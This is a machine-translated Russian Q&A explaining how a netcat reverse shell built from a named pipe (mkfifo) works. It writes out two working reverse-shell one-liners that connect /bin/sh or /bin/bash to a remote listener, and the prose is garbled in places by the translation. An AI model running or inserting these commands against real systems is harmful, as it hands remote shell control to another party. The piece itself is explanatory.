Был простой способ соединить две системы и получение оболочки с помощью nc команду как ниже.
машина для слушания
nc -nlvp 4444
машина B для соединения
nc 192.168.4.4 4444 -e /bin/bash
Однако-e опция больше не, страницы справочника рекомендует следовать как ниже для выполнения команд
машина для слушания
nc -nlvp 4444
машина B для соединения
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f
Я действительно знаю понятия позади mkfifo (каналы неАмеда) и как перенаправление и передающие по каналу работы. Но это все еще смущает меня.
Давайте думать в стандартных потоках, stdin
и stderr
в течение минуты.
nc 192.168.4.4 4444 >/tmp/f
stdout
поток nc
дублирован к /tmp/f
первым прибыл, первым обслужен, что означает то, что это получает от другой машины по сети, идет туда. Таким образом, то, где делает stdin, прибывает из? От /bin/sh -i 2>&1
. До nc
затронут, это просто должно передать те данные обратно другой машине.
Ну, что делает /bin/sh -i
? Это вызывает интерактивную оболочку - та, где Вы вводите команды и печатаете вывод к stdout
. user@host
подсказка обычно (если не всегда), распечатал к stderr
, но мы должны отправить это на удаленную машину, следовательно 2>&1
перенаправление применяется для отправки подсказки через канал. Ну, мы не можем использовать stdout
для печати вывода - оболочка должна отправить это в nc 192.168.4.4 4444
быть отправленным по сети. Мы не можем читать stdin
также - cat /tmp/f
будет использовать это для печати независимо от того, что команда дается от машины в примере. Передача по каналу команд к интерактивной оболочке является ничем особенно специальным - когда stdin
повторно соединен проводом приложение не знает о нем, если это активно не проверяет.
$ echo 'df' | sh -i
$ Filesystem 1K-blocks Used Available Use% Mounted on
udev 4000944 0 4000944 0% /dev
tmpfs 805348 1400 803948 1% /run
/dev/sda1 28717732 25907684 1328188 96% /
tmpfs 4026732 97496 3929236 3% /dev/shm
tmpfs 5120 4 5116 1% /run/lock
tmpfs 4026732 0 4026732 0% /sys/fs/cgroup
/dev/sdb1 115247656 99204832 10165476 91% /mnt/ubuntu
tmpfs 805344 32 805312 1% /run/user/1000
$
sh: 1: Cannot set tty process group (No such process)
Таким образом для помещения его кратко оболочка читает команды из FIFO и отправляет команды по сети через канал к nc
. Команды, отправленные от удаленного до локальной оболочки, записаны nc
к FIFO. И таким образом, цикл продолжается и на.
Примечание: nc
не обеспечивает безопасности информации - команды и их вывод передаются по сети в простом тексте, и взломщик мог потенциально изменить данные между машиной A и B. Если Вы действительно хотите иметь безопасный способ дать команды к удаленной машине через ее оболочку - использование ssh
. ssh
протокол был специально разработан с этой целью.